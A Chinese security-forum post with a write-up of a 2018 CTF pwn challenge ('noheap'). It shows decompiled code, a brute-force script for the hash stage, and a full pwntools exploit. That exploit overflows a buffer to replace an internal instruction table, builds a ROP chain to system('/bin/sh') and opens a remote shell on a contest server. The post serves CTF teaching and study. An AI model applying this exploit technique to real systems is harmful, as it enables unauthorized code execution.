首页
论坛
课程
招聘
[原创]看雪.京东 2018CTF 第六题 PWN-noheap---------WriteUp
2018-6-28 10:33 2838

[原创]看雪.京东 2018CTF 第六题 PWN-noheap---------WriteUp

2018-6-28 10:33
2838

0x00 查看保护

pwn题,老样子,先用checksec noheap查看保护状态

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保护全开...好吧

0x01 流程分析

先看init

unsigned __int64 init_0()
{
  signed int i; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+Ch] [rbp-24h]
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 4; ++i )
    read(fd, (char *)src - 0x40LL - 8 * i, 8uLL);
  g_proc_Malloc = random1 ^ (unsigned __int64)malloc_0;
  g_proc_show = random2 ^ (unsigned __int64)show;
  g_proc_free = random3 ^ (unsigned __int64)free_0;
  g_proc_menu = random4 ^ (unsigned __int64)&menu;
  g_proc_execute_table = random5 ^ (unsigned __int64)execute_table;
  g_value_1 = 0x106040F01130301LL;
  g_value_2 = 0x4000161302011409LL;
  g_value_3 = 0;
  g_value_4 = 0;
  g_value_5 = 0;
  close(fd);
  return __readfsqword(0x28u) ^ v3;
}

首先init里对函数地址进行了xor加密,并设置了几个全局变量的值,暂时还不知道其作用。

 

再来看main函数

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  sub_E87();
  sub_F0C();
  sub_1470();
  return 0LL;
}

// sub_E87()
int sub_E87()
{
  puts(
    " _____   _____   _____   _  __    __  _____   _____   ___   _____  \n"
    "|  _  \\ | ____| |  _  \\ | | \\ \\  / / /___  \\ /  _  \\ |_  | /  _  \\ \n"
    "| |_| | | |__   | | | | | |  \\ \\/ /   ___| | | | | |   | | | |_| | \n"
    "|  ___/ |  __|  | | | | | |   \\  /   /  ___/ | |/| |   | | }  _  { \n"
    "| |     | |___  | |_| | | |   / /    | |___  | |_| |   | | | |_| | \n"
    "|_|     |_____| |_____/ |_|  /_/     |_____| \\_____/   |_| \\_____/ \n");
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  alarm(0x99999979);        <---原本是60秒,我为了调试改了下立即数的值
  puts("Welcome !");
  return puts("=======================================================================");
}

// sub_F0C()
unsigned __int64 sub_F0C()
{
  unsigned __int8 buf; // [rsp+Fh] [rbp-51h]
  unsigned int v2; // [rsp+10h] [rbp-50h]
  int i; // [rsp+14h] [rbp-4Ch]
  int fd; // [rsp+18h] [rbp-48h]
  unsigned int v5; // [rsp+1Ch] [rbp-44h]
  char s1[8]; // [rsp+20h] [rbp-40h]
  char v7; // [rsp+28h] [rbp-38h]
  char s2[8]; // [rsp+30h] [rbp-30h]
  char v9; // [rsp+38h] [rbp-28h]
  unsigned __int64 v10; // [rsp+48h] [rbp-18h]

  v10 = __readfsqword(0x28u);
  *(_QWORD *)s1 = 0LL;
  v7 = 0;
  *(_QWORD *)s2 = 0LL;
  v9 = 0;
  v2 = 0;
  fd = open("/dev/urandom", 0);
  for ( i = 0; i <= 3; ++i )
  {
    read(fd, &buf, 1uLL);
    v2 = (v2 << 8) + buf % 0x2Bu + 0x30;
  }
  *(_DWORD *)s1 = seed(&v2);
  *(_DWORD *)&s1[4] = seed(&v2);
  v5 = sub_10B2((unsigned __int8 *)s1, 8);
  printf("Hash:%08x\n", v5);
  printf("Input:");
  getStrInput(s2, 9uLL);
  close(fd);
  if ( !strcmp(s1, s2) )
    exit(0);
  puts("=======================================================================");
  return __readfsqword(0x28u) ^ v10;
}

// sub_1470()

.text:0000000000001470                             sub_1470        proc near               ; CODE XREF: main+E↑p
.text:0000000000001470
.text:0000000000001470                             func_jump_table = qword ptr -78h
.text:0000000000001470                             func            = qword ptr -70h
.text:0000000000001470                             var_20          = qword ptr -20h
.text:0000000000001470                             func_menu       = qword ptr -18h
.text:0000000000001470                             input           = dword ptr -4
.text:0000000000001470
.text:0000000000001470                             ; __unwind {
.text:0000000000001470 000 55                                      push    rbp
.text:0000000000001471 008 48 89 E5                                mov     rbp, rsp
.text:0000000000001474 008 48 83 EC 10                             sub     rsp, 10h
.text:0000000000001478
.text:0000000000001478                             menu:                                   ; DATA XREF: init_0+DD↑o
.text:0000000000001478 018 E8 14 01 00 00                          call    printMenu
.text:000000000000147D 018 E8 C5 00 00 00                          call    getInput
.text:0000000000001482 018 89 45 FC                                mov     [rbp+input], eax
.text:0000000000001485 018 8B 45 FC                                mov     eax, [rbp+input]
.text:0000000000001488 018 85 C0                                   test    eax, eax
.text:000000000000148A 018 74 62                                   jz      short locret_14EE
.text:000000000000148C 018 8B 45 FC                                mov     eax, [rbp+input]
.text:000000000000148F 018 83 F8 03                                cmp     eax, 3
.text:0000000000001492 018 77 5A                                   ja      short locret_14EE
.text:0000000000001494 018 48 8D 05 25 1C 20 00                    lea     rax, src
.text:000000000000149B 018 48 0F B6 4D FC                          movzx   rcx, byte ptr [rbp+input]
.text:00000000000014A0 018 48 FF C9                                dec     rcx
.text:00000000000014A3 018 48 F7 D1                                not     rcx
.text:00000000000014A6 018 48 8B 7C C8 F0                          mov     rdi, [rax+rcx*8-10h] ; 取函数 xor后的地址
.text:00000000000014AB 018 48 8B 74 C8 C8                          mov     rsi, [rax+rcx*8-38h] ; 取random值
.text:00000000000014B0 018 48 31 F7                                xor     rdi, rsi        ; 解密函数地址
.text:00000000000014B3 018 48 89 7C 24 A0                          mov     [rsp+10h+func], rdi
.text:00000000000014B8 018 48 8B 78 D0                             mov     rdi, [rax-30h]
.text:00000000000014BC 018 48 8B 70 A8                             mov     rsi, [rax-58h]
.text:00000000000014C0 018 48 31 F7                                xor     rdi, rsi
.text:00000000000014C3 018 48 89 7C 24 F8                          mov     [rsp+10h+func_menu], rdi
.text:00000000000014C8 018 48 8B 70 C8                             mov     rsi, [rax-38h]
.text:00000000000014CC 018 48 8B 40 A0                             mov     rax, [rax-60h]
.text:00000000000014D0 018 48 31 F0                                xor     rax, rsi
.text:00000000000014D3 018 48 89 44 24 98                          mov     [rsp+10h+func_jump_table], rax
.text:00000000000014D8 018 48 89 6C 24 F0                          mov     [rsp+10h+var_20], rbp
.text:00000000000014DD 018 48 8D 64 24 F0                          lea     rsp, [rsp-10h]
.text:00000000000014E2 028 48 89 E5                                mov     rbp, rsp
.text:00000000000014E5 028 48 81 EC 88 00 00 00                    sub     rsp, 88h
.text:00000000000014EC 0B0 FF E0                                   jmp     rax

main来看程序应该是有两关,第一关是猜数字,第二关是漏洞利用。

0x02 第一关,猜数字

程序会根据/dev/urandom生成的4字节随机数,进行计算,并打印出一个hash值,然后问你原数是多少,由于是用4字节的随机数,并且范围是 [0x30, 0x2Bu + 0x30)所以可以直接穷举。

 

第一关的穷举代码如下。

def calchash(input):
    nlen = len(input)
    i = 0
    v6 = 0
    nlen = 8
    while True:
        tmp = input[i]
        v6 = 0x83 * v6 + tmp
        i += 1
        if i >= nlen:
            break
    return v6 & 0xFFFFFFFF

def seed(input):
    return 0x343FD * input + 0x269ec3

def change(input):
    r = []
    for i in range(0, 4):
        r.append(input & 0xFF)
        input = input >> 8
    return r

def getValue(input):
    n = seed(input) & 0xFFFFFFFF
    m = seed(n) & 0xFFFFFFFF
    l1 = change(n)
    l2 = change(m)
    l1.extend(l2)
    return l1

def work(input):
    for a in range(0x30, 0x5b):
        for b in range(0x30, 0x5b):
            for c in range(0x30, 0x5b):
                for d in range(0x30, 0x5b):
                    k = ((a << 24) + (b << 16) + (c << 8) + d)
                    value = getValue(k)
                    if calchash(value) == input:
                        print (value)
                        return value

if __name__ == '__main__':
    work(xxxxxx)

hash值传入work就能得到对应的4字节随机数,回写通过第一关

0x03 第二关,偷天换日

过了第一关后,程序会展示出它的功能

=======MENU========
1. Malloc
2. Show
3. Free
4. Exit
>>

这几个功能里,能有问题的估计也就是Malloc了,看它代码

int __cdecl malloc_0()
{
  __int128 v0; // ax
  ssize_t n; // ST28_8
  __int128 size; // [rsp+10h] [rbp-20h]
  void *dest; // [rsp+20h] [rbp-10h]

  *(_QWORD *)&size = &buff;
  printf("Size :");
  LODWORD(v0) = getInput();
  *((_QWORD *)&size + 1) = (unsigned int)v0;
  if ( (unsigned int)v0 <= 0x80uLL )
  {
    dest = malloc((unsigned int)v0);
    if ( dest )
    {
      printf("Content :");
      n = getStrInput(src, (unsigned __int8)(BYTE8(size) - 1));
      memcpy(dest, src, n);
      buff.buff = (__int64)dest;
      v0 = size;
      buff.size = *((_QWORD *)&size + 1);
    }
    else
    {
      LODWORD(v0) = puts("error.");
    }
  }
  return v0;
}

限制分配空间<= 0x80,读取输入的大小为输入的size - 1,所以这里如果输入size0时,就可以读取到一个0xFF长度的串到src中,src的大小为0x80后面紧跟的是一开始init中初始化的那些个以g_value_开头的全局变量

.bss:00000000002030C0 ?? ?? ?? ?? ?? ?? ?? ??+    src          dq 10h dup(?)           ; DATA XREF: init_0+4B↑o
.bss:00000000002030C0 ?? ?? ?? ?? ?? ?? ?? ??+                                         ; sub_1470+24↑o ...
.bss:0000000000203140 ?? ?? ?? ?? ?? ?? ?? ??     g_value_1    dq ?                    ; DATA XREF: init_0+168↑w
.bss:0000000000203140                                                                  ; execute_table+44↑o ...
.bss:0000000000203148 ?? ?? ?? ?? ?? ?? ?? ??     g_value_2    dq ?                    ; DATA XREF: init_0+173↑w
.bss:0000000000203150 ?? ?? ?? ??                 g_value_3    dd ?                    ; DATA XREF: init_0+17D↑w
.bss:0000000000203154 ?? ??                       g_value_4    dw ?                    ; DATA XREF: init_0+187↑w
.bss:0000000000203156 ??                          g_value_5    db ?                    ; DATA XREF: init_0+192↑w

经过动态调试发现,这些全局变量其实是一个指令表,根据不同指令走一个switch case做一些计算,赋值,跳转等操作。函数如下:

void *__ptr32 *__usercall execute_table@<rax>(struc_jmp *a1@<rbp>)
{
  __int64 v1; // rt1
  void *__ptr32 *result; // rax
  __int64 v3; // rax

  a1[0xFFFFFFFF].count = 0LL;
  a1[0xFFFFFFFF].cmd = 0LL;
  a1[0xFFFFFFFF].value = 0LL;
  a1[0xFFFFFFFF].field_38 = 0LL;
  a1[0xFFFFFFFF].getbytes = 0LL;
  a1[0xFFFFFFFF].func_addr = 0LL;
  a1[0xFFFFFFFF].offset = 0LL;
  a1[0xFFFFFFFF].check = 0LL;
  while ( 2 )
  {
    a1[-1].cmd = *((char *)&g_value_1 + a1[-1].count);
    v1 = a1[-1].cmd;
    result = (void *__ptr32 *)&qword_1A1C;
    switch ( (unsigned __int64)a1 )
    {
      case 1uLL:
        a1[-1].value = *((unsigned __int8 *)&g_value_1 + a1[-1].count + 1);
        a1[-1].count += 2LL;
        continue;
      case 2uLL:
        a1[-1].getbytes = *((unsigned __int8 *)&g_value_1 + a1[0xFFFFFFFF].value);
        ++a1[-1].count;
        continue;
      case 3uLL:   //读取指令表中数据给func_addr
        a1[-1].func_addr = *(__int64 *)((char *)&g_value_1 + a1[0xFFFFFFFF].value);
        ++a1[-1].count;
        continue;
      case 4uLL:   //读取指令表中数据给offset
        a1[-1].offset = *(__int64 *)((char *)&g_value_1 + a1[0xFFFFFFFF].value);
        ++a1[-1].count;
        continue;
      case 5uLL:   //func_addr与offset的一些计算操作
        a1[-1].func_addr -= a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 6uLL:
        a1[-1].func_addr += a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 7uLL:
        a1[-1].func_addr *= a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 8uLL:
        a1[-1].func_addr = (unsigned __int64)a1[-1].func_addr / a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 9uLL:
        a1[-1].func_addr ^= a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 0xAuLL:
        a1[-1].func_addr &= a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 0xBuLL:
        a1[-1].func_addr |= a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 0xCuLL:
        a1[-1].check = a1[-1].func_addr != a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 0xDuLL:
        if ( a1[-1].check )
          v3 = a1[-1].count + 2;
        else
          v3 = *((unsigned __int8 *)&g_value_1 + a1[-1].count);
        a1[-1].count = v3;
        continue;
      case 0xEuLL:
        a1[-1].func_addr = a1[-1].getbytes;
        ++a1[-1].count;
        continue;
      case 0xFuLL:
        a1[-1].offset = a1[-1].getbytes;
        ++a1[-1].count;
        continue;
      case 0x10uLL:
        a1[-1].getbytes = a1[-1].func_addr;
        ++a1[-1].count;
        continue;
      case 0x11uLL:
        a1[-1].getbytes = a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 0x12uLL:
        a1[-1].func_addr = a1[-1].offset;
        ++a1[-1].count;
        continue;
      case 0x13uLL:     //读取栈中的数据
        a1[-1u].func_addr = *(&a1[0xFFFFFFFFLL].count - a1[-1u].value);
        ++a1[-1u].count;
        continue;
      case 0x14uLL:    //写入数据到栈中
        *(&a1[0xFFFFFFFFLL].count - a1[-1].value) = a1[-1].func_addr;
        ++a1[-1].count;
        continue;
      case 0x15uLL:
        ++a1[-1].getbytes;
        ++a1[-1].count;
        continue;
      case 0x16uLL:     //跳转到func_addr处执行代码
        ++a1[-1].count;
        result = (void *__ptr32 *)((__int64 (*)(void))a1[-1].func_addr)();
        break;
      default:
        return result;
    }
    break;
  }
  return result;
}

从这个表里可以看到,这个流程直接赋予了读取栈中数据和写入的能力,所以可以根据栈里情况读取到libc中函数实际地址,也可以读取到程序自身函数的实际地址,然后根据可读取到的地址与需要的目标函数地址的固定偏移,计算得到目标的实际地址。

 

有了这些能力就可以构造rop,将/bin/sh,写入到指令表中并计算出地址,由于提供了libc所以可以根据栈中其他libc函数地址计算出system地址,构造rop跳转给func_addr执行利用。

 

所以重点就是精心构造指令表来执行上面的逻辑,再把这个指令表通过read的越界替换原始指令表,达到偷天换日的效果。

 

完整利用代码如下:

#coding: utf-8

from pwn import *

def calchash(input):
    nlen = len(input)
    i = 0
    v6 = 0
    nlen = 8
    while True:
        tmp = input[i]
        v6 = 0x83 * v6 + tmp
        i += 1
        if i >= nlen:
            break
    return v6 & 0xFFFFFFFF

def seed(input):
    return 0x343FD * input + 0x269ec3

def change(input):
    r = []
    for i in range(0, 4):
        r.append(input & 0xFF)
        input = input >> 8
    return r

def getValue(input):
    n = seed(input) & 0xFFFFFFFF
    m = seed(n) & 0xFFFFFFFF
    l1 = change(n)
    l2 = change(m)
    l1.extend(l2)
    return l1

def work(input):
    for a in range(0x30, 0x5b):
        for b in range(0x30, 0x5b):
            for c in range(0x30, 0x5b):
                for d in range(0x30, 0x5b):
                    k = ((a << 24) + (b << 16) + (c << 8) + d)
                    value = getValue(k)
                    if calchash(value) == input:
                        print (value)
                        return value

#io = process('./noheap')
io = remote('139.199.99.130', 8989)
sleep(1)
print io.recvuntil('=======================================================================')
sleep(1)
_hash = io.recv()[6:14]
hh = int(_hash, 16)

guess = bytearray(work(hh))
strguess = bytes(guess)
io.sendline(strguess)

print io.recvuntil('>> ')
io.sendline('1')
sleep(1)
print io.recvuntil('Size :')
sleep(1)
io.sendline('0')
print io.recvuntil('Content :')
sleep(1)

#offset = 0xB1F30

payload = 'A' * 0x80
payload += p64(0x105043001130D01)
payload += p64(0x0100010428011408)
payload += p64(0x0201140901061302)
payload += p64(0x160604200113)
payload += p64(0x136)        #offset rop 
payload += p64(0x201ad3)    #offset /bin/sh
payload += p64(0xB1F30)        #offset system
payload += p64(0)
payload += p64(0x68732f6e69622f)#/bin/sh
io.sendline(payload)
print io.recvuntil('>> ')
io.sendline('2')
sleep(2)
io.interactive()

安卓应用层抓包通杀脚本发布!《高研班》2021年3月班开始招生!

收藏
点赞0
打赏
分享
最新回复 (2)
雪    币: 9
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
之幽灵 活跃值 2018-7-31 16:54
2
0
请问一下,我这个switch case的无法f5转换成c需要怎么设置一下呀?
雪    币: 161
活跃值: 活跃值 (93)
能力值: ( LV15,RANK:843 )
在线值:
发帖
回帖
粉丝
NearJMP 活跃值 5 2018-8-2 00:51
3
0
之幽灵 请问一下,我这个switch case的无法f5转换成c需要怎么设置一下呀?
在IDA的 Options->General->Disassembly 里勾选Stack pointer,然后看函数里哪个地方的SP是负数,用alt+k进行调整
游客
登录 | 注册 方可回帖
返回